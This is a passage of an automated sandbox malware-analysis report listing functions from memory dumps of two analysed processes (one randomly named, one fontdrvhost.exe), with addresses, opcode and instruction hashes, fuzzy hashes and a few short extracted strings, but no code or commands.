Instruction Fuzzy Hash: CE017130A5E64DAFDB52ABB488695A93BF4EF5A304F0604B3D048C70B6D938E544C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89BCC1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b89a000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 946324f67c38a3855887c483f884887b5dfc17762040d1ebe8530789c1594a83
Instruction ID: 42cc28ee5e7cff952fc4bebfb9cdf82dea9397e0b1d293a01dfb304e1f811a63
Opcode Fuzzy Hash: 946324f67c38a3855887c483f884887b5dfc17762040d1ebe8530789c1594a83
Instruction Fuzzy Hash: ECF0A43490A68E4FEF64DFA488682FD3FE0FF19300F41057AD819C21A1EB3856548701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892ED9 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85799e91b2a39bcb676e9b3aacc23b1f97ca528e29a0231722172f8900a89418
Instruction ID: 20d375fff7afabd44b05a8ab130a7362144ffa0300159e314bac0e179ea82bbe
Opcode Fuzzy Hash: 85799e91b2a39bcb676e9b3aacc23b1f97ca528e29a0231722172f8900a89418
Instruction Fuzzy Hash: B5018430A1A64E8FD766EBB488695A97BE0EF4A300F0605B7D408C70B6DA38A644C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891C9D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19bfee7004da813886ba05850aa605e27744b2e24e6cd0ce1d33444fc0ca5b0b
Instruction ID: 6d3e2c84e36b601e5f899ac5a682f56023a689a28547f1d398801122c1083cff
Opcode Fuzzy Hash: 19bfee7004da813886ba05850aa605e27744b2e24e6cd0ce1d33444fc0ca5b0b
Instruction Fuzzy Hash: B301D130A0E68E9FEFA9AF25C8656B93FA0FF59304F41017AE818C25A2DB359650C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b1373a28bfc4c0fc70b8319e04ad6dcc71521bd3ae5c6d0c10a6e46747a4b6
Instruction ID: 57a81110828695603ad5153031a0482c49ede3ad779d866161db7c2ca4efeb9c
Opcode Fuzzy Hash: 81b1373a28bfc4c0fc70b8319e04ad6dcc71521bd3ae5c6d0c10a6e46747a4b6
Instruction Fuzzy Hash: AA016D30A1990E8AEF6DEFA4C4696B977E0FF18305F11087ED41ED21E5DE35A650C611

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b2268c3d751ef3b7774390ce457f6b894f0345abfe89104ab448b4f30ba1f6
Instruction ID: 3d438c38b9145159ea2d958c201f4cb86019c30ebdad7d9ea8e38eab42ff8e25
Opcode Fuzzy Hash: c5b2268c3d751ef3b7774390ce457f6b894f0345abfe89104ab448b4f30ba1f6
Instruction Fuzzy Hash: 42016230A1550EDADF5DEFA4C4685B976A0FF18305F51087ED41ED61E5DE35A150CA00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AC63B Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47fa53093827b428aa2efdd7a3f4d5fea09631722ca70fe7430f0de7cc17bdf0
Instruction ID: a3aaaf4de3e88d6816bc44f401b750534f91bebd55df842f2d9272b0ec87e769
Opcode Fuzzy Hash: 47fa53093827b428aa2efdd7a3f4d5fea09631722ca70fe7430f0de7cc17bdf0
Instruction Fuzzy Hash: 3711F770E0921D8EDB64DFD4C4586FDBBF4FB18701F11512AD009A7291EB386A44CF24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AEE21 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c2b732d8a06eacd6dc99e113d776a38d660e82a88c41b4e2d4a614186821f5d
Instruction ID: 8468af8a35ddd3e314abc56ab4b397e3331fc894a86f08c0da58025e42473e07
Opcode Fuzzy Hash: 3c2b732d8a06eacd6dc99e113d776a38d660e82a88c41b4e2d4a614186821f5d
Instruction Fuzzy Hash: 3CF06830A1A68E8FDB64DF94C8282FD7BE0FF18301F51057AD81DC25A1DB74A650C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AC965 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b41cc5590532cd6845af5cdbc80598386d59db03fe919953764d81c1791c6c79
Instruction ID: 38d569890ed832b8b1896b5f8e9eee04d8d33746446e8b5ba271549109c06bd3
Opcode Fuzzy Hash: b41cc5590532cd6845af5cdbc80598386d59db03fe919953764d81c1791c6c79
Instruction Fuzzy Hash: 75F08171A0E68E8FEF659F648C686BE3BA0FF19200F05057AD418C21A2EB3495548B42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C588 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b89a000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9fe0c8304f13ce00650aa3fc76d1ac4095118b878d3806c5e964660e5f94157
Instruction ID: a5825776bb3c0d4d05eb02fac4512cfb2267bfc6da9bf58c625263d5776598fe
Opcode Fuzzy Hash: f9fe0c8304f13ce00650aa3fc76d1ac4095118b878d3806c5e964660e5f94157
Instruction Fuzzy Hash: E9018170A0A64E9FEF95AF6898695FD3EE0FF09304F01057AE81DC60A5EF7596508B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AAEF5 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e4e8d7ba2015f9536d36a63c4ea417134db3f3a6626aedae6ced8a33b6fafb7
Instruction ID: 59d96876d3a34a8461da12e67a905b71a02064c5548f7543874405d46b133aad
Opcode Fuzzy Hash: 7e4e8d7ba2015f9536d36a63c4ea417134db3f3a6626aedae6ced8a33b6fafb7
Instruction Fuzzy Hash: 57F0F46095E3CE1EE7669BB44C281F83FA0AF0A200F4544FAE4ACC64E3D93896558322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8905D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4487fc9bc0da2cfa583bc5e174e19649d127831f66511c92d99fd5c458ec0e7
Instruction ID: be9faa20934b5be29efd131dacb43c2235dd8dfbf041e3a70a59faf71a5993d3
Opcode Fuzzy Hash: d4487fc9bc0da2cfa583bc5e174e19649d127831f66511c92d99fd5c458ec0e7
Instruction Fuzzy Hash: A2F0C230A0E64E9FEF69EF65D4256FA3BA0FF09308F51047AE82DC21A1CA35A650C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AC130 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0ecd46aef444002afae5c31f50d856534f0178a3f2b8fb6fcde5467bce6a6c2
Instruction ID: 96033a037315ba5393288cb2f6ee2391a4d5dbb9646d959f993b3d3dd57ed711
Opcode Fuzzy Hash: b0ecd46aef444002afae5c31f50d856534f0178a3f2b8fb6fcde5467bce6a6c2
Instruction Fuzzy Hash: 0101BB34E0951D8FDF90EB98D894B9DB7B1FF58310F1142A6D00DE7265CA30A9858F50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892759 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa16a5f22048a0f215610ebdf1a79a0c4611b36abf2a0dbedcfa6b96ff9d6332
Instruction ID: 8f841c57283cb605b748dcd5821d822867cadc56297c9b9a6fed16592c7b1f92
Opcode Fuzzy Hash: fa16a5f22048a0f215610ebdf1a79a0c4611b36abf2a0dbedcfa6b96ff9d6332
Instruction Fuzzy Hash: 71F0623450E38E8FDB6E9F6488646A93F60FF46204F4505BAE419C51E2DB389554C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AB9F2 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c76809de89b8bdf1bfc0daab11bc0d5db0d723963b4739f72ee8d78f20793160
Instruction ID: ea25f7dc140071120dafa1da7cb15479b4f89d99a6060f22b8375f57b70a1450
Opcode Fuzzy Hash: c76809de89b8bdf1bfc0daab11bc0d5db0d723963b4739f72ee8d78f20793160
Instruction Fuzzy Hash: 84F0656270453386C30A7FBCB9594E877D0FF463653544677C089CA0ABEA29A487D7C4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8927CD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd1009c36db2d2c929717e3925a4f4ae6177fb711c73a22d9355e553c62a2b97
Instruction ID: 3e277704e5e49f2a2d83e1d6b6b80970331058b3f68fbe967e331424e82ca8b8
Opcode Fuzzy Hash: fd1009c36db2d2c929717e3925a4f4ae6177fb711c73a22d9355e553c62a2b97
Instruction Fuzzy Hash: 74F0F030A0E68E8FEB6D9FA088291F93FA0FF09300F0204BED409C50E6DB389554C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89AE61 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b89a000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bfc17a04f423650d8d56ed80a6206a5db212b9fdc8bcf67ea92f6d607077931
Instruction ID: 98f8ec0596c13b719c7abc09385646b70bf5c5f9fd986e678c9e49423d64278c
Opcode Fuzzy Hash: 2bfc17a04f423650d8d56ed80a6206a5db212b9fdc8bcf67ea92f6d607077931
Instruction Fuzzy Hash: FEF0D070A1995D4EDFE4DB58C855BAD77B1EB68340F10C6E5800DE2155DE34AEC58F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7726 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9934ad8de98267fc163d9fbdafffe5b8817b684235895f49657b83be64584628
Instruction ID: b51b6045f79fbbf3d577f58647cba2c94f1f1892999b5f39745df28771e0a941
Opcode Fuzzy Hash: 9934ad8de98267fc163d9fbdafffe5b8817b684235895f49657b83be64584628
Instruction Fuzzy Hash: F9F0F835F1851D8ADB18EB98D8A58FDB3B2FF9C350B500075D00EA7285DA2869008B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AB120 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e666b756902133c51c20c59c2c44c115ebf0948c9dce0076b7ae5618101e317b
Instruction ID: 19099b31578806c2e4729fe49f1902a34451246aa71adfe851b383245017e90a
Opcode Fuzzy Hash: e666b756902133c51c20c59c2c44c115ebf0948c9dce0076b7ae5618101e317b
Instruction Fuzzy Hash: CBE0E570E2951E8AEB91AFB498592FE7AE8FF18305F410976D41CC20A5EB349254C651

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89DC92 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b89a000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction ID: 1c7b0a85e2cf5d7fcc0116044f4a0d83037e46f113e7029f702264a60517b1a2
Opcode Fuzzy Hash: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction Fuzzy Hash: B1F0D431A1510D8FDB18DF84D4A09ECBBB2FF88311F65012AD40AA37A0DB786941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89FD0E Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B89F000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b89f000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ba5b9bb0a3318fabb3871e916dc41216f28f6586b8174a555e36ee3734f98d
Instruction ID: 7923eccc506d6e20e108d761a9e6634b9af356e690f2bd284d3b766a29dcfce1
Opcode Fuzzy Hash: 72ba5b9bb0a3318fabb3871e916dc41216f28f6586b8174a555e36ee3734f98d
Instruction Fuzzy Hash: AEF09874E0565D8FDBA4DF54C8A17ED7AB1AF98300F1081AAD00EB2291CE342E818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8911B6 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78373d8f96d9c2ba925e3ab8532e17776f1f23c91976e2fc1444358e497175da
Instruction ID: 0573f59e67d755a12b3bc8a43b1d12653ef49cf4f6ee4aca3bb205c923268f02
Opcode Fuzzy Hash: 78373d8f96d9c2ba925e3ab8532e17776f1f23c91976e2fc1444358e497175da
Instruction Fuzzy Hash: 73C01231D2164E8ADB58AB90A8214FDB260FB48204F401462E42CA3092EF3026108680

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B8A8AFA Relevance: 8.8, Strings: 7, Instructions: 94COMMON

Download Yara Rule

Strings

L_^?, xrefs: 00007FFD9B8A8B7A
L_^9, xrefs: 00007FFD9B8A8B62
L_^), xrefs: 00007FFD9B8A8B22
L_^;, xrefs: 00007FFD9B8A8B6A
L_^+, xrefs: 00007FFD9B8A8B2A
L_^, xrefs: 00007FFD9B8A8BC2
L_^=, xrefs: 00007FFD9B8A8B72

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: L_^$L_^)$L_^+$L_^9$L_^;$L_^=$L_^?
API String ID: 0-1220857821
Opcode ID: efe629ba532356b705d77b8930cf2cb4b1be91b2003424adc4bef376d8c20c2f
Instruction ID: 68b332819cac050319687eeae7a59d24f68b52a6877dfec0a10d36dc69076390
Opcode Fuzzy Hash: efe629ba532356b705d77b8930cf2cb4b1be91b2003424adc4bef376d8c20c2f
Instruction Fuzzy Hash: 5F21E7B771851187D30ABAA9BC654D973D1EFA026970811BBD2A9CB283FF25640746D0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A88E0 Relevance: 7.5, Strings: 6, Instructions: 3COMMON

Download Yara Rule

Strings

L_^;, xrefs: 00007FFD9B8A892A
L_^9, xrefs: 00007FFD9B8A8922
L_^M, xrefs: 00007FFD9B8A8972
L_^K, xrefs: 00007FFD9B8A896A
L_^O, xrefs: 00007FFD9B8A897A
L_^I, xrefs: 00007FFD9B8A8962

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: L_^9$L_^;$L_^I$L_^K$L_^M$L_^O
API String ID: 0-381706768
Opcode ID: 3dc9548f422bbd4ab5909cb68674df302615a66a8d3853f748881349565f4d0f
Instruction ID: 23c6b3b46e7f3ffe941110323fc3b07edc251350f64aa87dc7575dd464f8254e
Opcode Fuzzy Hash: 3dc9548f422bbd4ab5909cb68674df302615a66a8d3853f748881349565f4d0f
Instruction Fuzzy Hash: 0A90026150413186971E2575755D5D423909F41218708C1B2D09D0E0CB595410819646

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89387E Relevance: 5.1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

Strings

.R^I, xrefs: 00007FFD9B893954
0R^I, xrefs: 00007FFD9B893944
/R^I, xrefs: 00007FFD9B893924
8R^, xrefs: 00007FFD9B8938D4

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: .R^I$/R^I$0R^I$8R^
API String ID: 0-1790200200
Opcode ID: b8f887c83bb028b059d417cab7cfb1d8065eacb078eb3b694c9093168c3c6f96
Instruction ID: ee6dbfc820aa5169fb7ce5d54ed1fe5882654ef8e4102a3d4c52debe121bdfd6
Opcode Fuzzy Hash: b8f887c83bb028b059d417cab7cfb1d8065eacb078eb3b694c9093168c3c6f96
Instruction Fuzzy Hash: 2931D55260F7D70FEB2387B90C262657FA4AF5724475A40FBD0D4CB0E7D209AA0B8392

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fontdrvhost.exePID: 2504, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B893565 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aacb775503be831ebf6155b6a96056f0f03dcadd98da754989b9b0898c50bfbc
Instruction ID: 2e8378a7a3b9c017f5779ba9a6156d8934203461a31b1ad49bd35d8695c15b3f
Opcode Fuzzy Hash: aacb775503be831ebf6155b6a96056f0f03dcadd98da754989b9b0898c50bfbc
Instruction Fuzzy Hash: 47A1A071A1994E8FEB98DBA8D8257ACBBE1FF59300F4001BAD01DD32D9DB7468018741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89F3C6 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

}, xrefs: 00007FFD9B89F3FD
k, xrefs: 00007FFD9B89F273

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89F000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89f000_fontdrvhost.jbxd

Similarity

API ID:
String ID: k$}
API String ID: 0-1688146420
Opcode ID: 6ab71de7421d6fa3d0ed5594fd840f9234dd47434a642950bcade358bcc6d3ec
Instruction ID: d851772f673da29af012704becfccfe2e59368a69bb664d2263305f4fb385752
Opcode Fuzzy Hash: 6ab71de7421d6fa3d0ed5594fd840f9234dd47434a642950bcade358bcc6d3ec
Instruction Fuzzy Hash: 1F219330A09A2E8EDF64EF54C8597F9BBB1EB58301F1101EAD00DE62A1DB356AD5DF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A11E1 Relevance: 2.6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

Strings

/, xrefs: 00007FFD9B8A1578
", xrefs: 00007FFD9B8A1221

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: "$/
API String ID: 0-2662438755
Opcode ID: 165d8888809a2d4fa32010e7985961180d6d2db6ca226caf12f309bd3f391e35
Instruction ID: bac856a8a911637cb3066b0855a93ff8d5a08a3fef7cfc1247840a28c9f305e1
Opcode Fuzzy Hash: 165d8888809a2d4fa32010e7985961180d6d2db6ca226caf12f309bd3f391e35
Instruction Fuzzy Hash: 2621D870E0961DCEDB64EF94C8A47ECB7B1FB59305F1002A9D01DA72A5CB386A84CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89D5B9 Relevance: 1.6, Strings: 1, Instructions: 391COMMON

Download Yara Rule

Strings

NM_H, xrefs: 00007FFD9B89D66E

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID: NM_H
API String ID: 0-1743349432
Opcode ID: 0e00e487a72b3dbdc9c690dc39cd8b8d2156e0d835209b09169de21a4f7ef268
Instruction ID: 3dafb571cf2d8b6a2ad886c7ecd8474074bec71016e6dbf8e36d30f35caea77e
Opcode Fuzzy Hash: 0e00e487a72b3dbdc9c690dc39cd8b8d2156e0d835209b09169de21a4f7ef268
Instruction Fuzzy Hash: 92E14D71E1965D8FEB68DB98C8A47B8BBB1FF58300F0541BAD01DD32A6DA346941CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C430 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD9B89C47A

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 40978b6c0546f64ac00cbb525d21eacd97cc49949457714ff93b47b5c89371e3
Instruction ID: ca503a20f6c0b55b0db6921abe24dea8a0b3002b0ce8fd33616077c7f9e68bdd
Opcode Fuzzy Hash: 40978b6c0546f64ac00cbb525d21eacd97cc49949457714ff93b47b5c89371e3
Instruction Fuzzy Hash: DE412D72A1956ACAE7167BACB8695FC3790FF04324F0506B7D05CC60D7FE6961468A80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A2F42 Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e8c9f63ce33d51b488bf9b80da048e56cfd50a4955e1f9ed9bc53c61ef86af8
Instruction ID: ec592fd83a2ca7739e87a281d3ee3e6526e1cf7fbaf23e99e63f3fe6de14bf01
Opcode Fuzzy Hash: 6e8c9f63ce33d51b488bf9b80da048e56cfd50a4955e1f9ed9bc53c61ef86af8
Instruction Fuzzy Hash: FF513D52A0F6DA4FE7375BB85C351A97FA0FF16210B4901F7C498CB0E3ED18A9058361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A356F Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70a1d3f5c80c517aaa195229f4aa79a4e967883b41b0a52eddc10116607f0d27
Instruction ID: d023ad9a2a96c1ad767b7c830c4e39b682ebfe2294e079247239dd078ae81ffe
Opcode Fuzzy Hash: 70a1d3f5c80c517aaa195229f4aa79a4e967883b41b0a52eddc10116607f0d27
Instruction Fuzzy Hash: F5817A63B0952E89D31ABBBCBC294F9BB90EF8533670407F7D199CA0D3EC14604683A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890F56 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

